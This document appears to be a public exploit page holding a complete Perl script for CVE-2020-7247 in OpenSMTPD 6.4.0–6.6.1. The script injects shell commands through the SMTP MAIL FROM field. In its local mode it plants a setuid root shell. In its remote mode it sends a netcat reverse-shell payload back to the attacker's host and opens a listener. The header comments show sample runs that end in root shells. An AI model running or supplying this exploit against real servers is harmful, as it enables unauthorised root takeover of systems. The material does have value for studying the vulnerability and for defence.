1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 |
# Exploit Title: OpenSMTPD 6.6.1 - Local Privilege Escalation # Date: 2020-02-02 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.opensmtpd.org/ # Version: OpenSMTPD 6.4.0 - 6.6.1 # Tested on: OpenBSD 6.6, Debian GNU/Linux bullseye/sid with opensmtpd 6.6.1p1-1 # CVE: CVE-2020-7247 #!/usr/bin/perl # # raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD # Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info> # # smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and # other products, allows remote attackers to execute arbitrary commands as root # via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL # FROM field. This affects the "uncommented" default configuration. The issue # exists because of an incorrect return value upon failure of input validation # (CVE-2020-7247). # # "Wow. I feel all butterflies in my tummy that bugs like this still exist. # That's awesome :)" -- skyper # # This exploit targets OpenBSD's OpenSMTPD in order to escalate privileges to # root on OpenBSD in the default configuration, or execute remote commands as # root (only in OpenSMTPD "uncommented" default configuration). # # See also: # https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt # https://poolp.org/posts/2020-01-30/opensmtpd-advisory-dissected/ # https://www.kb.cert.org/vuls/id/390745/ # https://www.opensmtpd.org/security.html # # Usage (LPE): # phish$ uname -a # OpenBSD phish.fnord.st 6.6 GENERIC#353 amd64 # phish$ id # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor), 0(wheel) # phish$ ./raptor_opensmtpd.pl LPE # [...] # Payload sent, please wait 5 seconds... # -rwsrwxrwx1 rootwheel12432 Feb1 21:20 /usr/local/bin/pwned # phish# id # uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel) # # Usage (RCE): # raptor@eris ~ % ./raptor_opensmtpd.pl RCE 10.0.0.162 10.0.0.24 example.org # [...] # Payload sent, please wait 5 seconds... # /bin/sh: No controlling tty (open /dev/tty: Device not configured) # /bin/sh: Can't find tty file descriptor # /bin/sh: warning: won't have full job control # phish# id # uid=0(root) gid=0(wheel) groups=0(wheel) # # Vulnerable platforms (OpenSMTPD 6.4.0 - 6.6.1): # OpenBSD 6.6 [tested] # OpenBSD 6.5 [untested] # OpenBSD 6.4 [untested] # Debian GNU/Linux bullseye/sid with opensmtpd 6.6.1p1-1 [tested] # Other Linux distributions [untested] # FreeBSD [untested] # NetBSD [untested] # use IO::Socket::INET; print "raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD\n"; print "Copyright (c) 2020 Marco Ivaldi <raptor\@0xdeadbeef.info>\n\n"; $usage = "Usage:\n". "$0 LPE\n". "$0 RCE <remote_host> <local_host> [<domain>]\n"; $lport = 4444; ($type, $rhost, $lhost, $domain) = @ARGV; die $usage if (($type ne "LPE") && ($type ne "RCE")); # Prepare the payload if ($type eq "LPE") { # LPE $payload = "cp /bin/sh /usr/local/bin/pwned\n". "echo 'main(){setuid(0);setgid(0);system(\"/bin/sh\");}' > /tmp/pwned.c\n". "gcc /tmp/pwned.c -o /usr/local/bin/pwned\nchmod 4777 /usr/local/bin/pwned"; $rhost = "127.0.0.1"; } else { # RCE die $usage if ((not defined $rhost) || (not defined $lhost)); $payload = "sleep 5;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|". "nc $lhost $lport >/tmp/f"; } # Open SMTP connection $| = 1; $s = IO::Socket::INET->new("$rhost:25") or die "Error: $@\n"; # Read SMTP banner $r = <$s>; print "< $r"; die "Error: this is not OpenSMTPD\n" if ($r !~ /OpenSMTPD/); # Send HELO $w = "HELO fnord"; print "> $w\n"; print $s "$w\n"; $r = <$s>; print "< $r"; die "Error: expected 250\n" if ($r !~ /^250/); # Send evil MAIL FROM $w = "MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>"; print "> $w\n"; print $s "$w\n"; $r = <$s>; print "< $r"; die "Error: expected 250\n" if ($r !~ /^250/); # Send RCPT TO if (not defined $domain) { $rcpt = "<root>"; } else { $rcpt = "<root\@$domain>"; } $w = "RCPT TO:$rcpt"; print "> $w\n"; print $s "$w\n"; $r = <$s>; print "< $r"; die "Error: expected 250\n" if ($r !~ /^250/); # Send payload in DATA $w = "DATA"; print "> $w\n"; print $s "$w\n"; $r = <$s>; print "< $r"; $w = "\n#0\n#1\n#2\n#3\n#4\n#5\n#6\n#7\n#8\n#9\n#a\n#b\n#c\n#d\n$payload\n."; #print "> $w\n"; # uncomment for debugging print $s "$w\n"; $r = <$s>; print "< $r"; die "Error: expected 250\n" if ($r !~ /^250/); # Close SMTP connection $s->close(); print "\nPayload sent, please wait 5 seconds...\n"; # Got root? if ($type eq "LPE") { # LPE sleep 5; print <code>ls -l /usr/local/bin/pwned</code>; exec "/usr/local/bin/pwned" or die "Error: exploit failed :(\n"; } else { # RCE exec "nc -vl $lport" or die "Error: unable to execute netcat\n"; # BSD netcat #exec "nc -vlp $lport" or die "Error: unable to execute netcat\n"; # Debian netcat } |